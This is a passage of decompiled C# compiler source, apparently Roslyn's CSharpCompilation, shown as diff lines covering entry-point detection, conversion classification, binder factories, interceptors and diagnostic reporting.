BindingDiagnosticBag.GetInstance(instance); + (bool IsCandidate, bool IsTaskLike) tuple = HasEntryPointSignature(current2, instance5); + var (flag, _) = tuple; + if (tuple.IsTaskLike) + { + instance3.Add((flag, current2, instance5)); + continue; + } + if (checkValid(current2, flag, instance5)) + { + if (current2.IsAsync) + { + instance.Add(ErrorCode.ERR_NonTaskMainCantBeAsync, current2.GetFirstLocation()); + } + else + { + ((BindingDiagnosticBag)(object)instance).AddRange((BindingDiagnosticBag)(object)instance5, false); + instance4.Add(current2); + } + } + ((BindingDiagnosticBag)(object)instance5).Free(); + } + Enumerator<(bool, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol, BindingDiagnosticBag)> enumerator2; + if (instance4.Count == 0) + { + enumerator2 = instance3.GetEnumerator(); + while (enumerator2.MoveNext()) + { + var (isCandidate, methodSymbol, bindingDiagnosticBag) = enumerator2.Current; + if (checkValid(methodSymbol, isCandidate, bindingDiagnosticBag) && Binder.CheckFeatureAvailability((SyntaxNode)(object)methodSymbol.ExtractReturnTypeSyntax(), MessageID.IDS_FeatureAsyncMain, instance)) + { + ((BindingDiagnosticBag)(object)instance).AddRange((BindingDiagnosticBag)(object)bindingDiagnosticBag, false); + instance4.Add(methodSymbol); + } + } + } + else if (LanguageVersion >= MessageID.IDS_FeatureAsyncMain.RequiredVersion() && instance3.Count > 0) + { + ImmutableArray immutableArray = ArrayBuilderExtensions.SelectAsArray<(bool, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol, BindingDiagnosticBag), Symbol>(instance3, (Func<(bool, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol, BindingDiagnosticBag), Symbol>)(((bool IsValid, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol Candidate, BindingDiagnosticBag SpecificDiagnostics) s) => s.Candidate)); + ImmutableArray additionalLocations = ImmutableArrayExtensions.SelectAsArray(immutableArray, (Func)((Symbol s) => s.GetFirstLocation())); + ImmutableArray.Enumerator enumerator3 = immutableArray.GetEnumerator(); + while (enumerator3.MoveNext()) + { + Symbol current3 = enumerator3.Current; + CSDiagnosticInfo info = new CSDiagnosticInfo(ErrorCode.WRN_SyncAndAsyncEntryPoints, new object[2] + { + current3, + instance4[0] + }, immutableArray, additionalLocations); + ((BindingDiagnosticBag)instance).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)info, current3.GetFirstLocation())); + } + } + enumerator2 = instance3.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ((BindingDiagnosticBag)(object)enumerator2.Current.Item3).Free(); + } + if (instance4.Count == 0) + { + ((BindingDiagnosticBag)(object)instance).AddRange((BindingDiagnosticBag)(object)noMainFoundDiagnostics, false); + } + else if ((object)namedTypeSymbol == null) + { + foreach (Diagnostic item in ((BindingDiagnosticBag)noMainFoundDiagnostics).DiagnosticBag.AsEnumerable()) + { + if (item.Code == 28 || item.Code == 402) + { + ((BindingDiagnosticBag)instance).Add(item); + } + } + ((BindingDiagnosticBag)(object)instance).AddDependencies((BindingDiagnosticBag)(object)noMainFoundDiagnostics, false); + } + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol result = null; + if (instance4.Count == 0) + { + if ((object)namedTypeSymbol == null) + { + instance.Add(ErrorCode.ERR_NoEntryPoint, NoLocation.Singleton); + } + else + { + instance.Add(ErrorCode.ERR_NoMainInClass, namedTypeSymbol.GetFirstLocation(), namedTypeSymbol); + } + } + else + { + enumerator = instance4.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol current5 = enumerator.Current; + if (current5.GetUnmanagedCallersOnlyAttributeData(forceComplete: true) != null) + { + instance.Add(ErrorCode.ERR_EntryPointCannotBeUnmanagedCallersOnly, current5.GetFirstLocation()); + } + } + if (instance4.Count > 1) + { + instance4.Sort((IComparer)LexicalOrderSymbolComparer.Instance); + CSDiagnosticInfo info2 = new CSDiagnosticInfo(ErrorCode.ERR_MultipleEntryPoints, Array.Empty(), ImmutableArrayExtensions.AsImmutable(((IEnumerable)instance4).OfType()), ImmutableArrayExtensions.AsImmutable(((IEnumerable)instance4).Select((Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol m) => m.GetFirstLocation()).OfType())); + ((BindingDiagnosticBag)instance).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)info2, instance4.First().GetFirstLocation())); + } + else + { + result = instance4[0]; + } + } + instance3.Free(); + instance4.Free(); + ((BindingDiagnosticBag)(object)noMainFoundDiagnostics).Free(); + return result; + bool checkValid(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol candidate, bool flag2, BindingDiagnosticBag specificDiagnostics) + { + if (!flag2) + { + noMainFoundDiagnostics.Add(ErrorCode.WRN_InvalidMainSig, candidate.GetFirstLocation(), candidate); + ((BindingDiagnosticBag)(object)noMainFoundDiagnostics).AddRange((BindingDiagnosticBag)(object)specificDiagnostics, false); + return false; + } + if (candidate.IsGenericMethod || candidate.ContainingType.IsGenericType) + { + noMainFoundDiagnostics.Add(ErrorCode.WRN_MainCantBeGeneric, candidate.GetFirstLocation(), candidate); + return false; + } + return true; + } + } + finally + { + instance2.Free(); + sealedDiagnostics = ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree(); + } + } + + private static void AddEntryPointCandidates(ArrayBuilder entryPointCandidates, IEnumerable members) + { + foreach (Symbol member in members) + { + if (member is Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol { IsEntryPointCandidate: not false } methodSymbol) + { + entryPointCandidates.Add(methodSymbol); + } + } + } + + internal bool ReturnsAwaitableToVoidOrInt(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol method, BindingDiagnosticBag diagnostics) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Invalid comparison between Unknown and I4 + if (method.ReturnType.IsVoidType() || (int)method.ReturnType.SpecialType == 13) + { + return false; + } + if (!(method.ReturnType is Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol)) + { + return false; + } + if (!Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(namedTypeSymbol.ConstructedFrom, GetWellKnownType((WellKnownType)95), (TypeCompareKind)0) && !Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(namedTypeSymbol.ConstructedFrom, GetWellKnownType((WellKnownType)96), (TypeCompareKind)0)) + { + return false; + } + CSharpSyntaxNode cSharpSyntaxNode = method.ExtractReturnTypeSyntax(); + BoundLiteral expression = new BoundLiteral((SyntaxNode)(object)cSharpSyntaxNode, ConstantValue.Null, namedTypeSymbol); + if (GetBinder(cSharpSyntaxNode).GetAwaitableExpressionInfo(expression, out BoundExpression getAwaiterGetResultCall, (SyntaxNode)(object)cSharpSyntaxNode, diagnostics)) + { + if (!getAwaiterGetResultCall.Type.IsVoidType()) + { + return (int)getAwaiterGetResultCall.Type.SpecialType == 13; + } + return true; + } + return false; + } + + internal (bool IsCandidate, bool IsTaskLike) HasEntryPointSignature(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol method, BindingDiagnosticBag bag) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Invalid comparison between Unknown and I4 + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Invalid comparison between Unknown and I4 + if (method.IsVararg) + { + return (IsCandidate: false, IsTaskLike: false); + } + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol returnType = method.ReturnType; + bool flag = false; + if ((int)returnType.SpecialType != 13 && !returnType.IsVoidType()) + { + flag = ReturnsAwaitableToVoidOrInt(method, bag); + if (!flag) + { + return (IsCandidate: false, IsTaskLike: false); + } + } + if ((int)method.RefKind != 0) + { + return (IsCandidate: false, IsTaskLike: flag); + } + if (method.Parameters.Length == 0) + { + return (IsCandidate: true, IsTaskLike: flag); + } + if (method.Parameters.Length > 1) + { + return (IsCandidate: false, IsTaskLike: flag); + } + if (!method.ParameterRefKinds.IsDefault) + { + return (IsCandidate: false, IsTaskLike: flag); + } + TypeWithAnnotations typeWithAnnotations = method.Parameters[0].TypeWithAnnotations; + if ((int)typeWithAnnotations.TypeKind != 1) + { + return (IsCandidate: false, IsTaskLike: flag); + } + Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol arrayTypeSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol)typeWithAnnotations.Type; + return (IsCandidate: arrayTypeSymbol.IsSZArray && (int)arrayTypeSymbol.ElementType.SpecialType == 20, IsTaskLike: flag); + } + + internal override bool IsUnreferencedAssemblyIdentityDiagnosticCode(int code) + { + return code == 12; + } + + internal bool MightContainNoPiaLocalTypes() + { + return SourceAssembly.MightContainNoPiaLocalTypes(); + } + + public Conversion ClassifyConversion(ITypeSymbol source, ITypeSymbol destination) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + if (source == null) + { + throw new ArgumentNullException("source"); + } + if (destination == null) + { + throw new ArgumentNullException("destination"); + } + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol source2 = source.EnsureCSharpSymbolOrNull("source"); + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol destination2 = destination.EnsureCSharpSymbolOrNull("destination"); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return Conversions.ClassifyConversionFromType(source2, destination2, isChecked: false, ref useSiteInfo); + } + + public override CommonConversion ClassifyCommonConversion(ITypeSymbol source, ITypeSymbol destination) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return ClassifyConversion(source, destination).ToCommonConversion(); + } + + internal override IConvertibleConversion ClassifyConvertibleConversion(IOperation source, ITypeSymbol? destination, out ConstantValue? constantValue) + { + constantValue = null; + if (destination == null) + { + return (IConvertibleConversion)(object)Conversion.NoConversion; + } + ITypeSymbol type = source.Type; + ConstantValue constantValue2 = OperationExtensions.GetConstantValue(source); + if (type == null) + { + if (constantValue2 != null && constantValue2.IsNull && destination.IsReferenceType) + { + constantValue = constantValue2; + return (IConvertibleConversion)(object)Conversion.NullLiteral; + } + return (IConvertibleConversion)(object)Conversion.NoConversion; + } + Conversion conversion = ClassifyConversion(type, destination); + if (conversion.IsReference && constantValue2 != null && constantValue2.IsNull) + { + constantValue = constantValue2; + } + return (IConvertibleConversion)(object)conversion; + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol CreateArrayTypeSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol elementType, int rank = 1, NullableAnnotation elementNullableAnnotation = NullableAnnotation.Oblivious) + { + if ((object)elementType == null) + { + throw new ArgumentNullException("elementType"); + } + if (rank < 1) + { + throw new ArgumentException("rank"); + } + return Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol.CreateCSharpArray(Assembly, TypeWithAnnotations.Create(elementType, elementNullableAnnotation), rank); + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.PointerTypeSymbol CreatePointerTypeSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol elementType, NullableAnnotation elementNullableAnnotation = NullableAnnotation.Oblivious) + { + if ((object)elementType == null) + { + throw new ArgumentNullException("elementType"); + } + return new Microsoft.CodeAnalysis.CSharp.Symbols.PointerTypeSymbol(TypeWithAnnotations.Create(elementType, elementNullableAnnotation)); + } + + private protected override bool IsSymbolAccessibleWithinCore(ISymbol symbol, ISymbol within, ITypeSymbol? throughType) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + Symbol symbol2 = symbol.EnsureCSharpSymbolOrNull("symbol"); + Symbol symbol3 = within.EnsureCSharpSymbolOrNull("within"); + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol throughTypeOpt = throughType.EnsureCSharpSymbolOrNull("throughType"); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if ((int)symbol3.Kind != 2) + { + return AccessCheck.IsSymbolAccessible(symbol2, (Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)symbol3, ref useSiteInfo, throughTypeOpt); + } + return AccessCheck.IsSymbolAccessible(symbol2, (Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol)symbol3, ref useSiteInfo); + } + + [Obsolete("Compilation.IsSymbolAccessibleWithin is not designed for use within the compilers", true)] + internal bool IsSymbolAccessibleWithin(ISymbol symbol, ISymbol within, ITypeSymbol? throughType = null) + { + throw new NotImplementedException(); + } + + internal void AddModuleInitializerMethod(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol method) + { + LazyInitializer.EnsureInitialized(ref _moduleInitializerMethods).Add(method); + } + + internal void AddInterception(string filePath, int line, int character, Location attributeLocation, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol interceptor) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + ConcurrentDictionaryExtensions.AddOrUpdate<(string, int, int), OneOrMany<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)>, (Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)>(LazyInitializer.EnsureInitialized(ref _interceptions), (filePath, line, character), (Func<(string, int, int), (Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol), OneOrMany<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)>>)(((string, int, int) key, (Location AttributeLocation, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol Interceptor) newValue) => OneOrMany.Create<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)>(newValue)), (Func<(string, int, int), OneOrMany<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)>, (Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol), OneOrMany<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)>>)delegate((string, int, int) key, OneOrMany<(Location AttributeLocation, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol Interceptor)> existingValues, (Location AttributeLocation, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol Interceptor) newValue) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + Enumerator<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)> enumerator = existingValues.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (val, methodSymbol) = enumerator.Current; + if (val == newValue.AttributeLocation && methodSymbol.Equals(newValue.Interceptor, (TypeCompareKind)0)) + { + return existingValues; + } + } + return existingValues.Add(newValue); + }, (attributeLocation, interceptor)); + } + + internal (Location AttributeLocation, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol Interceptor)? TryGetInterceptor(Location? callLocation) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (_interceptions == null || callLocation == null) + { + return null; + } + FileLinePositionSpan lineSpan = callLocation.GetLineSpan(); + LinePositionSpan span = ((FileLinePositionSpan)(ref lineSpan)).Span; + LinePosition start = ((LinePositionSpan)(ref span)).Start; + (string, int, int) key = (callLocation.SourceTree.FilePath, ((LinePosition)(ref start)).Line, ((LinePosition)(ref start)).Character); + if (_interceptions.TryGetValue(key, out OneOrMany<(Location, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)> value)) + { + if (value.Count == 1) + { + return value[0]; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/CSharpCompilation.cs", 2393); + } + return null; + } + + public SemanticModel GetSemanticModel(SyntaxTree syntaxTree, bool ignoreAccessibility) + { + if (syntaxTree == null) + { + throw new ArgumentNullException("syntaxTree"); + } + if (!_syntaxAndDeclarations.GetLazyState().RootNamespaces.ContainsKey(syntaxTree)) + { + throw new ArgumentException(CSharpResources.SyntaxTreeNotFound, "syntaxTree"); + } + SemanticModel val = null; + if (((Compilation)this).SemanticModelProvider != null) + { + val = ((Compilation)this).SemanticModelProvider.GetSemanticModel(syntaxTree, (Compilation)(object)this, ignoreAccessibility); + } + return val ?? ((Compilation)this).CreateSemanticModel(syntaxTree, ignoreAccessibility); + } + + internal override SemanticModel CreateSemanticModel(SyntaxTree syntaxTree, bool ignoreAccessibility) + { + return (SemanticModel)(object)new SyntaxTreeSemanticModel(this, syntaxTree, ignoreAccessibility); + } + + internal BinderFactory GetBinderFactory(SyntaxTree syntaxTree, bool ignoreAccessibility = false) + { + if (ignoreAccessibility && (object)SynthesizedSimpleProgramEntryPointSymbol.GetSimpleProgramEntryPoint(this) != null) + { + return GetBinderFactory(syntaxTree, ignoreAccessibility: true, ref _ignoreAccessibilityBinderFactories); + } + return GetBinderFactory(syntaxTree, ignoreAccessibility: false, ref _binderFactories); + } + + private BinderFactory GetBinderFactory(SyntaxTree syntaxTree, bool ignoreAccessibility, ref WeakReference[]? cachedBinderFactories) + { + int syntaxTreeOrdinal = ((Compilation)this).GetSyntaxTreeOrdinal(syntaxTree); + WeakReference[] array = cachedBinderFactories; + if (array == null) + { + array = new WeakReference[SyntaxTrees.Length]; + array = Interlocked.CompareExchange(ref cachedBinderFactories, array, null) ?? array; + } + WeakReference weakReference = array[syntaxTreeOrdinal]; + if (weakReference != null && weakReference.TryGetTarget(out var target)) + { + return target; + } + return AddNewFactory(syntaxTree, ignoreAccessibility, ref array[syntaxTreeOrdinal]); + } + + private BinderFactory AddNewFactory(SyntaxTree syntaxTree, bool ignoreAccessibility, [NotNull] ref WeakReference? slot) + { + BinderFactory binderFactory = new BinderFactory(this, syntaxTree, ignoreAccessibility); + WeakReference value = new WeakReference(binderFactory); + WeakReference weakReference; + do + { + weakReference = slot; + if (weakReference != null && weakReference.TryGetTarget(out var target)) + { + return target; + } + } + while (Interlocked.CompareExchange(ref slot, value, weakReference) != weakReference); + return binderFactory; + } + + internal Binder GetBinder(CSharpSyntaxNode syntax) + { + return GetBinderFactory(syntax.SyntaxTree).GetBinder((SyntaxNode)(object)syntax); + } + + private Microsoft.CodeAnalysis.CSharp.Symbols.AliasSymbol CreateGlobalNamespaceAlias() + { + return Microsoft.CodeAnalysis.CSharp.Symbols.AliasSymbol.CreateGlobalNamespaceAlias(GlobalNamespace); + } + + private void CompleteTree(SyntaxTree tree) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Expected O, but got Unknown + if (_lazyCompilationUnitCompletedTrees == null) + { + Interlocked.CompareExchange(ref _lazyCompilationUnitCompletedTrees, new HashSet(), null); + } + lock (_lazyCompilationUnitCompletedTrees) + { + if (_lazyCompilationUnitCompletedTrees.Add(tree)) + { + ((Compilation)this).EventQueue?.TryEnqueue((CompilationEvent)new CompilationUnitCompletedEvent((Compilation)(object)this, tree, (TextSpan?)null)); + if (_lazyCompilationUnitCompletedTrees.Count == SyntaxTrees.Length) + { + ((Compilation)this).CompleteCompilationEventQueue_NoLock(); + } + } + } + } + + internal override void ReportUnusedImports(DiagnosticBag diagnostics, CancellationToken cancellationToken) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + ReportUnusedImports(null, instance, cancellationToken); + diagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ((BindingDiagnosticBag)(object)instance).Free(); + } + + private void ReportUnusedImports(SyntaxTree? filterTree, BindingDiagnosticBag diagnostics, CancellationToken cancellationToken) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + if (_lazyImportInfos != null && (filterTree == null || Compilation.ReportUnusedImportsInTree(filterTree))) + { + PooledHashSet val = null; + if (((BindingDiagnosticBag)(object)diagnostics).DependenciesBag != null) + { + val = PooledHashSet.GetInstance(); + } + foreach (KeyValuePair> lazyImportInfo in _lazyImportInfos) + { + cancellationToken.ThrowIfCancellationRequested(); + ImportInfo key = lazyImportInfo.Key; + SyntaxTree tree = key.Tree; + if ((filterTree != null && filterTree != tree) || !Compilation.ReportUnusedImportsInTree(tree)) + { + continue; + } + TextSpan span = key.Span; + if (!((Compilation)this).IsImportDirectiveUsed(tree, ((TextSpan)(ref span)).Start)) + { + ErrorCode code = ((key.Kind == SyntaxKind.ExternAliasDirective) ? ErrorCode.HDN_UnusedExternAlias : ErrorCode.HDN_UnusedUsingDirective); + diagnostics.Add(code, tree.GetLocation(span)); + } + else + { + if (((BindingDiagnosticBag)(object)diagnostics).DependenciesBag == null) + { + continue; + } + ImmutableArray value = lazyImportInfo.Value; + if (!value.IsDefaultOrEmpty) + { + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies(value); + } + else + { + if (key.Kind != SyntaxKind.ExternAliasDirective) + { + continue; + } + SyntaxToken val2 = key.Tree.GetRoot(cancellationToken).FindToken(((TextSpan)(ref key.Span)).Start, false); + ExternAliasDirectiveSyntax externAliasDirectiveSyntax = ((SyntaxToken)(ref val2)).Parent.FirstAncestorOrSelf((Func)null, true); + if (externAliasDirectiveSyntax != null) + { + val2 = externAliasDirectiveSyntax.Identifier; + if (GetExternAliasTarget(((SyntaxToken)(ref val2)).ValueText, out Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol @namespace)) + { + ((HashSet)(object)val).Add(@namespace); + } + } + } + } + } + if (val != null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: false, withDependencies: true); + foreach (Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol item in (HashSet)(object)val) + { + ((BindingDiagnosticBag)(object)instance).Clear(); + instance.AddAssembliesUsedByNamespaceReference(item); + ConcurrentSet? lazyUsedAssemblyReferences = _lazyUsedAssemblyReferences; + if ((lazyUsedAssemblyReferences != null && !lazyUsedAssemblyReferences.IsEmpty) || ((BindingDiagnosticBag)(object)diagnostics).DependenciesBag.Count != 0) + { + foreach (Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol item2 in ((BindingDiagnosticBag)(object)instance).DependenciesBag) + { + ConcurrentSet? lazyUsedAssemblyReferences2 = _lazyUsedAssemblyReferences; + if ((lazyUsedAssemblyReferences2 != null && lazyUsedAssemblyReferences2.Contains(item2)) || ((BindingDiagnosticBag)(object)diagnostics).DependenciesBag.Contains(item2)) + { + ((BindingDiagnosticBag)(object)instance).DependenciesBag.Clear(); + break; + } + } + } + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies((BindingDiagnosticBag)(object)instance, false); + } + ((BindingDiagnosticBag)(object)instance).Free(); + val.Free(); + } + } + ((Compilation)this).CompleteTrees(filterTree); + } + + internal override void CompleteTrees(SyntaxTree? filterTree) + { + if (((Compilation)this).EventQueue != null) + { + if (filterTree != null) + { + CompleteTree(filterTree); + } + else + { + ImmutableArray.Enumerator enumerator = SyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current = enumerator.Current; + CompleteTree(current); + } + } + } + if (filterTree == null) + { + _usageOfUsingsRecordedInTrees = null; + } + } + + internal void RecordImport(UsingDirectiveSyntax syntax) + { + RecordImportInternal(syntax); + } + + internal void RecordImport(ExternAliasDirectiveSyntax syntax) + { + RecordImportInternal(syntax); + } + + private void RecordImportInternal(CSharpSyntaxNode syntax) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + LazyInitializer.EnsureInitialized(ref _lazyImportInfos).TryAdd(new ImportInfo(syntax.SyntaxTree, syntax.Kind(), ((SyntaxNode)syntax).Span), default(ImmutableArray)); + } + + internal void RecordImportDependencies(UsingDirectiveSyntax syntax, ImmutableArray dependencies) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + _lazyImportInfos.TryUpdate(new ImportInfo(syntax.SyntaxTree, syntax.Kind(), ((SyntaxNode)syntax).Span), dependencies, default(ImmutableArray)); + } + + public override ImmutableArray GetParseDiagnostics(CancellationToken cancellationToken = default(CancellationToken)) + { + return GetDiagnostics((CompilationStage)0, includeEarlierStages: false, cancellationToken); + } + + public override ImmutableArray GetDeclarationDiagnostics(CancellationToken cancellationToken = default(CancellationToken)) + { + return GetDiagnostics((CompilationStage)1, includeEarlierStages: false, cancellationToken); + } + + public override ImmutableArray GetMethodBodyDiagnostics(CancellationToken cancellationToken = default(CancellationToken)) + { + return GetDiagnostics((CompilationStage)2, includeEarlierStages: false, cancellationToken); + } + + public override ImmutableArray GetDiagnostics(CancellationToken cancellationToken = default(CancellationToken)) + { + return GetDiagnostics((CompilationStage)2, includeEarlierStages: true, cancellationToken); + } + + internal ImmutableArray GetDiagnostics(CompilationStage stage, bool includeEarlierStages, CancellationToken cancellationToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + DiagnosticBag instance = DiagnosticBag.GetInstance(); + ((Compilation)this).GetDiagnostics(stage, includeEarlierStages, instance, cancellationToken); + return instance.ToReadOnlyAndFree(); + } + + internal override void GetDiagnostics(CompilationStage stage, bool includeEarlierStages, DiagnosticBag diagnostics, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + GetDiagnosticsWithoutFiltering(stage, includeEarlierStages, instance, cancellationToken); + ((Compilation)this).FilterAndAppendDiagnostics(diagnostics, ((BindingDiagnosticBag)instance).DiagnosticBag, cancellationToken); + ((BindingDiagnosticBag)(object)instance).Free(); + } + + private void GetDiagnosticsWithoutFiltering(CompilationStage stage, bool includeEarlierStages, BindingDiagnosticBag builder, CancellationToken cancellationToken) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_017e: Unknown result type (might be due to invalid IL or missing references) + //IL_0180: Invalid comparison between Unknown and I4 + //IL_01ba: Unknown result type (might be due to invalid IL or missing references) + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + //IL_0184: Invalid comparison between Unknown and I4 + //IL_0292: Unknown result type (might be due to invalid IL or missing references) + //IL_02c7: Unknown result type (might be due to invalid IL or missing references) + //IL_02c9: Invalid comparison between Unknown and I4 + //IL_02cb: Unknown result type (might be due to invalid IL or missing references) + //IL_02cd: Invalid comparison between Unknown and I4 + //IL_0209: Unknown result type (might be due to invalid IL or missing references) + //IL_0127: Unknown result type (might be due to invalid IL or missing references) + if ((int)stage == 0 || ((int)stage > 0 && includeEarlierStages)) + { + ImmutableArray syntaxTrees = SyntaxTrees; + ImmutableArray.Enumerator enumerator; + if (((CompilationOptions)Options).ConcurrentBuild) + { + RoslynParallel.For(0, syntaxTrees.Length, UICultureUtilities.WithCurrentUICulture((Action)delegate(int i) + { + SyntaxTree val = syntaxTrees[i]; + AppendLoadDirectiveDiagnostics(((BindingDiagnosticBag)builder).DiagnosticBag, _syntaxAndDeclarations, val); + ((BindingDiagnosticBag)builder).AddRange(val.GetDiagnostics(cancellationToken)); + }), cancellationToken); + } + else + { + enumerator = syntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + AppendLoadDirectiveDiagnostics(((BindingDiagnosticBag)builder).DiagnosticBag, _syntaxAndDeclarations, current); + cancellationToken.ThrowIfCancellationRequested(); + ((BindingDiagnosticBag)builder).AddRange(current.GetDiagnostics(cancellationToken)); + } + } + HashSet hashSet = new HashSet(); + enumerator = syntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current2 = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + if (!current2.Options.Errors.IsDefaultOrEmpty && hashSet.Add(current2.Options)) + { + Location location = current2.GetLocation(TextSpan.FromBounds(0, 0)); + ImmutableArray.Enumerator enumerator2 = current2.Options.Errors.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Diagnostic current3 = enumerator2.Current; + ((BindingDiagnosticBag)builder).Add(current3.WithLocation(location)); + } + } + } + } + if ((int)stage == 1 || ((int)stage > 1 && includeEarlierStages)) + { + ((Compilation)this).CheckAssemblyName(((BindingDiagnosticBag)builder).DiagnosticBag); + ((BindingDiagnosticBag)builder).AddRange(((CompilationOptions)Options).Errors); + if ((int)((CompilationOptions)Options).NullableContextOptions != 0 && LanguageVersion < MessageID.IDS_FeatureNullableReferenceTypes.RequiredVersion() && ((CommonSyntaxAndDeclarationManager)_syntaxAndDeclarations).ExternalSyntaxTrees.Any()) + { + ((BindingDiagnosticBag)builder).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new 